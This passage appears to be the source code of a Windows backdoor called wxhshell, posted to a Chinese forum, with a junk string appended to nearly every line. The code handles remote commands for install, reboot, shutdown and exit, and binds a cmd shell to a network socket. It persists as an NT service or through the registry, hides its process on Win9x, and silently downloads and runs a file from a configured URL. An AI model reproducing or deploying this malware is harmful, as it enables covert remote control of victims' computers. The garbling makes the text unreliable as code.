    switch(cmd[0]) { [!Djs![O  
  ~+,ZD)AKi4  
  // 帮助 Y5P9z{X=  
  case '?': { aiZZz1C   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p<&>1}j=  
    break; EWq < B)  
  } VA`VDUG,  
  // 安装 "yl6WG# J  
  case 'i': { 8Q0/kG  
    if(Install()) C>F5=&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \w&R`;b8w  
    else wa!z:}]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [q/eRIS_  
    break; 3lKs>HE0  
    } m|;gl|dTB  
  // 卸载 ,|]k4F  
  case 'r': { s2F[v:|Wq  
    if(Uninstall()) >"z`))9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?T,a(m<i {  
    else n0t+xvNDF_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sn Ou  
    break; Q'Uv5p"X  
    } Hn/V*RzQ  
  // 显示 wxhshell 所在路径 ma/<#l^}  
  case 'p': { >.H}(!  
    char svExeFile[MAX_PATH]; b ZZ _yc  
    strcpy(svExeFile,"\n\r"); ^f 0-w`D  
      strcat(svExeFile,ExeFile); TkIiO>  
        send(wsh,svExeFile,strlen(svExeFile),0); E_P,>f  
    break; =>&~p\Aw  
    } a/rQ@c>  
  // 重启 %|ioNXMu  
  case 'b': { <e wcWr  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); n\$.6 _@x  
    if(Boot(REBOOT)) dKevhm)R"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H`yUSB IP  
    else { FTzc,6  
    closesocket(wsh); z uo:yaO  
    ExitThread(0); {IF$\{Al  
    } 3ly ]DTbz  
    break; BqavI&1=  
    } A'D2uV  
  // 关机 .3wx}!:*|  
  case 'd': { [<}W S} .  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -I z,vd  
    if(Boot(SHUTDOWN)) qWXw*d1]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IU"n`HS  
    else { X|4Kdi.r@  
    closesocket(wsh); 'oM=ZU8wo  
    ExitThread(0); &KV$x3  
    } g3!<A*<  
    break; g>a% gVly  
    } %/}d'WJR  
  // 获取shell V<U9Pj^?^  
  case 's': { ;g?o~ev 8  
    CmdShell(wsh); cK IA.c}N  
    closesocket(wsh); cet|k!   
    ExitThread(0); <2LUq@Pg  
    break; M=1~BZQ(Z  
  } ,o0[^-b<  
  // 退出 :>jzL8  
  case 'x': { P` Gb }]rW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &O5&pet  
    CloseIt(wsh); !nQoz^_`P  
    break;   [ L  
    } D+h`Z]"|  
  // 离开 YdYaLTz  
  case 'q': { Qe]&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ng*O/g`%L  
    closesocket(wsh);  ~!e(e2  
    WSACleanup(); iE]^ 6i  
    exit(1); awLSY:JI  
    break; H.O&seY  
        } V9;IH<s:  
  } 7!e kINQ  
  } 5X^`qUSv  
`R-VJR 2"  
  // 提示信息 #-PUm0|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }9Q<<a  
} "&\]1A}Z-x  
  } HzZX=c  
iH-(_$f;  
  return; cejD(!MKe  
} vfh\X1Ui}  
b\xse2#  
// shell模块句柄 ~S0T+4$  
int CmdShell(SOCKET sock) :x!'Eer n  
{ d81[hT}q  
STARTUPINFO si; Ft@ZK!'@  
ZeroMemory(&si,sizeof(si)); W)`H(J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zbDK$g6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HZ89x|H k_  
PROCESS_INFORMATION ProcessInfo; @[;$R@M_3  
char cmdline[]="cmd"; F&OcI.OTXF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }jL4F$wC  
  return 0; }5u;'>$  
} djDE0-QxcR  
@nM+*0 $d  
// 自身启动模式 e?e oy|  
int StartFromService(void) Rts}y:44  
{ )u307Lg  
typedef struct _9z+xl  
{ ?9z1'6  
  DWORD ExitStatus; ho6,&Bp8  
  DWORD PebBaseAddress; ^!K 8nW{*  
  DWORD AffinityMask; J*qo3aJjE  
  DWORD BasePriority; @SAJ*h fb0  
  ULONG UniqueProcessId; uJJP<mDgA  
  ULONG InheritedFromUniqueProcessId; i]0$ 7s9!  
}   PROCESS_BASIC_INFORMATION; .X6V>e)(3  
DE$T1pFV  
PROCNTQSIP NtQueryInformationProcess; U,,rB(  
tsf !Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; S@C"tHD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2/l4,x  
X+//$J  
  HANDLE             hProcess; > V@,K z1  
  PROCESS_BASIC_INFORMATION pbi; n s&(g^  
62>/0_m5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); / gE9 W  
  if(NULL == hInst ) return 0; * Vymb  
jq+:&8!8(e  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); = 8\'AU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~#iAW@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \LDcIK=  
4?~Ei[KgQn  
  if (!NtQueryInformationProcess) return 0; SSr2K  
&3Mps[u:h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3$kElq[  
  if(!hProcess) return 0; s9BdmD^|#  
*q(HW  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $I90KQB\_  
"z|%V/2b3  
  CloseHandle(hProcess); W7 9.,#  
t($z+ C<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); BsN~Z!kd  
if(hProcess==NULL) return 0; }/Y)^  
aB4L$M8x  
HMODULE hMod; 8j!(*'J.  
char procName[255]; QEl~uhc3  
unsigned long cbNeeded; ps=QVX)YP  
)jN fQ!?/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Mer\W6e"e  
o`[X _  
  CloseHandle(hProcess); xqaw00,s  
?[ vC?P  
if(strstr(procName,"services")) return 1; // 以服务启动 )1]LoEdm`  
|} K7Q  
  return 0; // 注册表启动 P+;@?ofB  
} :a9$f8*b  
+PkN~m`  
// 主模块 69/qH_Y  
int StartWxhshell(LPSTR lpCmdLine) '#x<Fo~hT  
{ n!y}p q6  
  SOCKET wsl; DR#[\RzNI  
BOOL val=TRUE; Q@#Gm9m  
  int port=0; &SK=ZOKg^  
  struct sockaddr_in door; FI(M 1iJ  
eFCXjM  
  if(wscfg.ws_autoins) Install(); f= l*+QY8f  
~b{j`T  
port=atoi(lpCmdLine); _fANl}Mf:  
<(-4?"1  
if(port<=0) port=wscfg.ws_port; f*~z|  
"Q<*H<e  
  WSADATA data; <x2 F5$@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $Uxg$pqO  
#n}n %  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N\ dr_   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &;k`3`MC~w  
  door.sin_family = AF_INET; E|Z7art  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); - dt<w;>W  
  door.sin_port = htons(port); \ g[A{  
o] 7U;W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yw)Ztg)  
closesocket(wsl); uP[:P?,t  
return 1; Yhd|1,m9f  
} Jv=G3=.  
yLlAK,5P0o  
  if(listen(wsl,2) == INVALID_SOCKET) { E={W^k!Vz:  
closesocket(wsl); rfNt  
return 1; /1q] D8  
} "A?_)=zZ  
  Wxhshell(wsl); q<cpU'-#  
  WSACleanup(); >h m<$3  
#i GRi!$h  
return 0; \W6 |un  
W=~H_ L?/  
} L"6@3  
oFRb+H(E  
// 以NT服务方式启动 \;A\ vQ[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =`]yq;(C7j  
{ (8(z42  
DWORD   status = 0; [2,u:0"  
  DWORD   specificError = 0xfffffff; 6gfdXVN5  
V-w[\u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k]`3if5>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wFaWLC|&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t%AW0#TZ  
  serviceStatus.dwWin32ExitCode     = 0; Yg#)@L  
  serviceStatus.dwServiceSpecificExitCode = 0; !Jj=H()}  
  serviceStatus.dwCheckPoint       = 0; IczEddt@'  
  serviceStatus.dwWaitHint       = 0; a;Y9wn  
3:Sv8csT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A4?_ 0:<  
  if (hServiceStatusHandle==0) return; !2N#H~{  
Q=9S?p M  
status = GetLastError(); VMW ?[j  
  if (status!=NO_ERROR) :LFw J  
{ 2g^Kf,m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mlgdwM  
    serviceStatus.dwCheckPoint       = 0; viBf" .  
    serviceStatus.dwWaitHint       = 0; .-N9\GlJ,d  
    serviceStatus.dwWin32ExitCode     = status; &w3LMOT  
    serviceStatus.dwServiceSpecificExitCode = specificError; B%9[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q6{%vd  
    return; xZmKKKd0*  
  } /kVy#sT|  
Bd"7F{H  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  \'"q6y  
  serviceStatus.dwCheckPoint       = 0; b\?#O}  
  serviceStatus.dwWaitHint       = 0; 4#=!VK8ZH  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v.v3HB8p  
} ~eL7=G@{  
U'.>wjO  
// 处理NT服务事件,比如:启动、停止 m= fmf(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v(4C?vxhG  
{ :"O=/p+*Us  
switch(fdwControl) Hv0sl+  
{ &H5 6mL{  
case SERVICE_CONTROL_STOP: j&m<=-q  
  serviceStatus.dwWin32ExitCode = 0; O,JthlAV4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6aQ{EO-]'=  
  serviceStatus.dwCheckPoint   = 0; INzQ0z-z  
  serviceStatus.dwWaitHint     = 0; ,-DE;l^Q=  
  { `Xmpm4 ]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); D?5W1m]E,s  
  } AD?^.<  
  return; uNhAfZ  
case SERVICE_CONTROL_PAUSE: o <l4}~a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o ohf))  
  break; 2#W%--  
case SERVICE_CONTROL_CONTINUE: 9f,HjRP  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^#^u90I  
  break;  |Be.r{l  
case SERVICE_CONTROL_INTERROGATE: /'VCJjzZ  
  break; `(B1 "qRi  
}; J;q3 fa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x|<|eRYK  
} cS ];?tqrA  
&<^@/osi  
// 标准应用程序主函数 p-KuCobz]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V`fh,(:  
{ ha8do^x  
<U,T*Ql1x  
// 获取操作系统版本 tfv]AC7x  
OsIsNt=GetOsVer(); X?7$JV-:  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 053W2Si   
(vj2XiO^+  
  // 从命令行安装 6o1.?t?  
  if(strpbrk(lpCmdLine,"iI")) Install(); ki+9 Ln;  
T. ` %1S  
  // 下载执行文件 u5CT7_#)  
if(wscfg.ws_downexe) { acGmRP9g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #sqDZ]\B  
  WinExec(wscfg.ws_filenam,SW_HIDE); m/6oQ  
}  B-&J]H  
|g'sRTKJ  
if(!OsIsNt) { caj)  
// 如果时win9x,隐藏进程并且设置为注册表启动 hU=J^Gi0  
HideProc(); *!s4#|h  
StartWxhshell(lpCmdLine); Le3S;SY&  
} iPFYG  
else >$Fc=~;Ba  
  if(StartFromService()) aF;&#TsB  
  // 以服务方式启动 ?Y hua9  
  StartServiceCtrlDispatcher(DispatchTable); D 1hKjB&  
else KT g$^"\  
  // 普通方式启动 dIpt&nH&$  
  StartWxhshell(lpCmdLine); I8Zp#'|U  
nL:vRJr-$  
return 0; D{l.WlA.  
}
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只看该作者 1 发表于: 2006-10-10
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